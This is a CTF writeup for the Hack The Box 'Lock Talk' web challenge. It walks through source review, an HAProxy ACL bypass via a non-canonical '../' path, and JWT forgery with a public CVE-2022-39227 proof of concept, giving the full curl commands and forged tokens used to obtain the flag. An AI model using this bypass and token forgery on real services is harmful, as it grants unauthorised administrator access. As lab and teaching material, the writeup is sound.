forbytten blogs

Lock Talk Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Lock Talk Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘medium’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

The description of the challenge is shown below.

Lock Talk description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 web_locktalk.zip
0e1d00c7e6ad24f123b7a705b58222753fae3202853ab999f4e8f605d0e6646d  web_locktalk.zip

The zip file contained the following files, indicating the application is a Python application.

$ unzip -d web_locktalk web_locktalk.zip
Archive:  web_locktalk.zip
  inflating: web_locktalk/build_docker.sh
   creating: web_locktalk/challenge/
  inflating: web_locktalk/challenge/config.py
   creating: web_locktalk/challenge/app/
   creating: web_locktalk/challenge/app/api/
   creating: web_locktalk/challenge/app/api/json/
  inflating: web_locktalk/challenge/app/api/json/9.json
  inflating: web_locktalk/challenge/app/api/json/5.json
  inflating: web_locktalk/challenge/app/api/json/8.json
  inflating: web_locktalk/challenge/app/api/json/4.json
  inflating: web_locktalk/challenge/app/api/json/7.json
  inflating: web_locktalk/challenge/app/api/json/10.json
  inflating: web_locktalk/challenge/app/api/json/1.json
  inflating: web_locktalk/challenge/app/api/json/6.json
  inflating: web_locktalk/challenge/app/api/json/3.json
  inflating: web_locktalk/challenge/app/api/json/2.json
  inflating: web_locktalk/challenge/app/api/routes.py
  inflating: web_locktalk/challenge/app/api/__init__.py
  inflating: web_locktalk/challenge/app/__init__.py
   creating: web_locktalk/challenge/app/main/
  inflating: web_locktalk/challenge/app/main/routes.py
   creating: web_locktalk/challenge/app/main/templates/
  inflating: web_locktalk/challenge/app/main/templates/index.html
   creating: web_locktalk/challenge/app/main/static/
   creating: web_locktalk/challenge/app/main/static/js/
  inflating: web_locktalk/challenge/app/main/static/js/main.js
 extracting: web_locktalk/challenge/app/main/static/js/.gitkeep
   creating: web_locktalk/challenge/app/main/static/css/
  inflating: web_locktalk/challenge/app/main/static/css/style.css
 extracting: web_locktalk/challenge/app/main/static/css/.gitkeep
   creating: web_locktalk/challenge/app/main/static/images/
 extracting: web_locktalk/challenge/app/main/static/images/.gitkeep
   creating: web_locktalk/challenge/app/main/static/fonts/
 extracting: web_locktalk/challenge/app/main/static/fonts/.gitkeep
  inflating: web_locktalk/challenge/app/main/__init__.py
   creating: web_locktalk/challenge/app/middleware/
  inflating: web_locktalk/challenge/app/middleware/middleware.py
 extracting: web_locktalk/challenge/app/middleware/__init__.py
  inflating: web_locktalk/challenge/run.py
   creating: web_locktalk/conf/
 extracting: web_locktalk/conf/requirements.txt
  inflating: web_locktalk/conf/haproxy.cfg
  inflating: web_locktalk/conf/uwsgi.ini
  inflating: web_locktalk/conf/supervisord.conf
  inflating: web_locktalk/Dockerfile

4 Mapping the application

4.1 Mapping the application interactively

The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a form:

The website form

None of the UI buttons seemed to work for me but a quick perusal of the page source in the browser revealed three HTTP GET URLs:

<div class="path"> /api/v1/get_ticket </div>

...

<div class="path"> /api/v1/chat/{chatId} </div>

...
<div class="path"> /api/v1/flag </div>

Attempting to GET /api/v1/get_ticket resulted in an HTTP 403 Forbidden error:

GET /api/v1/get_ticket returns an HTTP 403 Forbidden error

Attempting to GET the last two URLs resulted in HTTP 401 Unauthorized errors and a response message indicating a JWT is expected:

GET /api/v1/chat/1 returns an HTTP 401 Unauthorized error and a message that a JWT is expected
GET /api/v1/flag returns an HTTP 401 Unauthorized error and a message that a JWT is expected

4.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

4.2.1 Dockerfile

The following were observed in Dockerfile:

  1. An Alpine Linux base image is used:

    FROM alpine:edge
  2. The conf/ and challenge/ directories are copied to opt/:

    COPY conf/. /opt/conf
    COPY challenge/. /opt/app
  3. haproxy version 2.8.1 is installed:

    RUN wget https://www.haproxy.org/download/2.8/src/haproxy-2.8.1.tar.gz && \
    tar zxvf haproxy-*.tar.gz && cd haproxy-* && \
    make TARGET=linux-musl && \
    make install
  4. supervisord is used to run the app, configured via /opt/conf/supervisord.conf:

    CMD ["/usr/bin/supervisord", "-c", "/opt/conf/supervisord.conf"]

4.2.2 supervisord.conf

supervisord.conf confirms that one of the running processes is haproxy, configured via /opt/conf/haproxy.cfg:

[program:haproxy]
command=haproxy -db -f '/opt/conf/haproxy.cfg'
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

4.2.3 haproxy.cfg

haproxy.cfg indicates the frontend is configured with an ACL (Access Control List)

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

The ACL entry has the following meaning:

  1. http-request deny rejects the request if the following if condition is true

  2. url_dec will URL decode the request

  3. path_beg will test if the request path begins with /api/v1/get_ticket

  4. -i will ignore case when matching the request path

The ACL explains the HTTP 403 Forbidden error previously observed when attempting to retrieve /api/v1/get_ticket.

4.2.4 app/api/routes.py

app/api/routes.py contains the routes for the Python application and it is here where the functionality of the URLs discovered during interactive application mapping can be determined.

  1. The /get_ticket route generates a JWT using a secret key and PS256 algorithm with expiry of 60 minutes. The JWT includes a role claim that has a value of guest.

    @api_blueprint.route('/get_ticket', methods=['GET'])
    def get_ticket():
    
        claims = {
            "role": "guest",
            "user": "guest_user"
        }
    
        token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
        return jsonify({'ticket: ': token})
  2. The flag route requires the requester to be in the administrator role to obtain the flag.

    @api_blueprint.route('/flag', methods=['GET'])
    @authorize_roles(['administrator'])
    def flag():
        return jsonify({'message': current_app.config.get('FLAG')}), 200

4.2.5 /app/middleware/middleware.py

/app/middleware/middleware.py contains the @authorize_roles decorator that is used by the routes above. This decorator is implemented to test whether the role claim in the JWT matches the role passed to the decorator.

def authorize_roles(roles):
def decorator(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        token = request.headers.get('Authorization')

        if not token:
            return jsonify({'message': 'JWT token is missing or invalid.'}), 401

        try:
            token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
            user_role = token[1]['role']

            if user_role not in roles:
                return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403

            return func(*args, **kwargs)
        except Exception as e:
            return jsonify({'message': 'JWT token verification failed.', 'error': str(e)}), 401
    return wrapper
return decorator

4.2.6 requirements.txt

requirements.txt defines the Python dependencies of the application. Interestingly, python_jwt is the only dependency declared with an explicit version. Specifically, it is unlikely the other dependencies contain an exploitable vulnerability within the scope of this challenge.

uwsgi
Flask
requests
python_jwt==3.3.3

5 Vulnerability analysis - CVE-2022-39227

snyk indicates that python_jwt 3.3.3 is vulnerable to CVE-2022-39227 which allows attackers to forge a JWT:

Crucially, the details in the NVD entry indicate that a JWT first needs to be obtained before a new JWT can be forged:

An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key.

A PoC (Proof of Concept) for exploiting the vulnerability was found. The PoC was manually reviewed for safety:

  1. The latest commit version was noted for future reference:

    $ git log
    commit 894b7039d75e7f514b52286cf7c22a30fbdfebba (HEAD -> main, origin/main, origin/HEAD)
  2. The code was manually reviewed

  3. The only non-standard python module imported is jwcrypto:

    from json import loads, dumps
    from jwcrypto.common import base64url_decode, base64url_encode
    import argparse
  4. jwcrypto appears to be a legitimate dependency based on the following:

With respect to the challenge target, this vulnerability is an instance of the common weakness CWE-1395: Dependency on Vulnerable Third-Party Component.

6 Hypothesized attack vector

At this stage, the attack vector was hypothesized to be comprised of the following steps:

  1. Find a way to bypass the haproxy ACL to GET a JWT from the /api/v1/get_ticket route.
  2. Exploit CVE-2022-39227 in order to forge a new JWT that has a role of administrator.
  3. Submit the forged JWT to the /api/v1/flag route in order to obtain the flag.

7 Vulnerability analysis - bypassable HAProxy ACL

The haproxy ACL was trivially bypassed by sending a request to api/v1/../v1/get_ticket. The --path-as-is option was passed to curl to ensure that curl preserves the path without canonicalizing it:

$ curl --path-as-is -x http://127.0.0.1:8080 http://94.237.62.149:46025/api/v1/../v1/get_ticket
{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}

This vulnerability is an instance of the common weakness CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions. It should be noted that further research is warranted to determine whether it is possible to construct an haproxy ACL rule that is secure for this use case. However, this is out of the scope of this writeup.

8 Exploitation - exercise the obtained JWT

The JWT obtained above was decoded to confirm it’s claims contain a role of guest:

$ echo -n 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' | jwt -show -
Header:
{
    "alg": "PS256",
    "typ": "JWT"
}
Claims:
{
    "exp": 1710391431,
    "iat": 1710387831,
    "jti": "nJnKde8PfB02mHrK4NQ1BQ",
    "nbf": 1710387831,
    "role": "guest",
    "user": "guest_user"
}

The JWT was confirmed to be accepted by the /api/v1/chat/1 route:

$ curl  -x http://127.0.0.1:8080 -H 'Authorization: eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' http://94.237.62.149:46025/api/v1/chat/1
{"chat_id":"1","messages":[{"content":"[Chat started]","party":"Victim","timestamp":"26.07.2022 16:05:41 UTC"},{"content":"hello","party":"OpenBit 3.0","timestamp":"26.07.2022 16:27:56 UTC"},{"content":"Are you ready to negotiate?","party":"OpenBit 3.0","timestamp":"26.07.2022 16:28:28 UTC"},{"content":"Price decrypt 3 000 000$","party":"OpenBit 3.0","timestamp":"26.07.2022 16:42:56 UTC"},{"content":"Hello","party":"Victim","timestamp":"27.07.2022 15:19:16 UTC"},{"content":"are you here ?","party":"Victim","timestamp":"27.07.2022 15:23:55 UTC"},{"content":"yes","party":"OpenBit 3.0","timestamp":"27.07.2022 15:24:14 UTC"},{"content":"we wait your answer and your offers","party":"OpenBit 3.0","timestamp":"27.07.2022 15:24:38 UTC"},{"content":"3 000 000$ is too much whats your best offer ?","party":"Victim","timestamp":"27.07.2022 15:25:50 UTC"},{"content":"well, given that your network was not completely infected, we can drop the price to 1,000,000","party":"OpenBit 3.0","timestamp":"27.07.2022 15:26:49 UTC"},{"content":"Also keep in mind that we have stolen your data and can publish it at any time","party":"OpenBit 3.0","timestamp":"27.07.2022 15:27:34 UTC"},{"content":"http://OpenBitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion/post/[redacted]","party":"OpenBit 3.0","timestamp":"27.07.2022 15:27:49 UTC"},{"content":"We offer you to decrypt all your files as well as files of your hypervisors for 1 million","party":"OpenBit 3.0","timestamp":"27.07.2022 15:28:37 UTC"},{"content":"You are a fairly large company and it will not be a problem for you to collect such an amount","party":"OpenBit 3.0","timestamp":"27.07.2022 15:29:12 UTC"},{"content":"[redacted] - BTC Wallet","party":"OpenBit 3.0","timestamp":"27.07.2022 15:33:02 UTC"},{"content":"It's up to you to pay or not, we also backed up your SQL databases before overwriting and encrypting them so they're safe","party":"OpenBit 3.0","timestamp":"27.07.2022 15:34:38 UTC"},{"content":"ur offer is that you make a payment of exactly $ 1,000,000 and we give you a full set of decoders for both ESXi and the Windows family","party":"OpenBit 3.0","timestamp":"27.07.2022 15:37:59 UTC"}]}

9 Exploitation - forge a JWT with a role of administrator

Using the aforementioned PoC, the JWT was modified to replace the guest role with an administrator role:

$ python3 CVE-2022-39227/cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA' -i 'role=administrator'
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710391431, 'iat': 1710387831, 'jti': 'nJnKde8PfB02mHrK4NQ1BQ', 'nbf': 1710387831, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710391431, 'iat': 1710387831, 'jti': 'nJnKde8PfB02mHrK4NQ1BQ', 'nbf': 1710387831, 'role': 'administrator', 'user': 'guest_user'}
[+] Fake payload encoded: eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9

[+] New token:
 {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}

Example (HTTP-Cookie):
------------------------------
auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}

10 Exploitation - read the flag

The flag was obtained via the /api/v1/flag route using the forged JWT in the Authorization header:

$ curl  -x http://127.0.0.1:8080 -H 'Authorization: {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzOTE0MzEsImlhdCI6MTcxMDM4NzgzMSwianRpIjoibkpuS2RlOFBmQjAybUhySzROUTFCUSIsIm5iZiI6MTcxMDM4NzgzMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"KQnyfKwxX4nfBgzOFIsBnJX7K3dPDrsgq2Dt9nDQGWGuHtFkvKPin2uE0ZIY6qpMnC0HgpBWUSO3yPZ1O6cWrCcJvPMGsrAtit08Xwws-QcGhmmAUw6flROsx5WVwz-afsNV5JAZc8OfcHWpras_PfW67-g6PUFKL4B722p6Gv5_F4lp1M8FHGii-PvP4le8bMccVxih6Cz0uoRk2RLtLNAF8BIzS_3UqIHwPRYLXVZLNnq_AeIMT_WabRKZVQ3jmRikQQRjZvMWQVjgmvSJRB5jJp_6CQ-pPxvoyitwuUTH08-O1gcOxUPKI9auKAifpofmHi_I4oXTCwrLfw_LKA"}' http://94.237.62.149:46025/api/v1/flag
{"message":"HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}"}

11 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned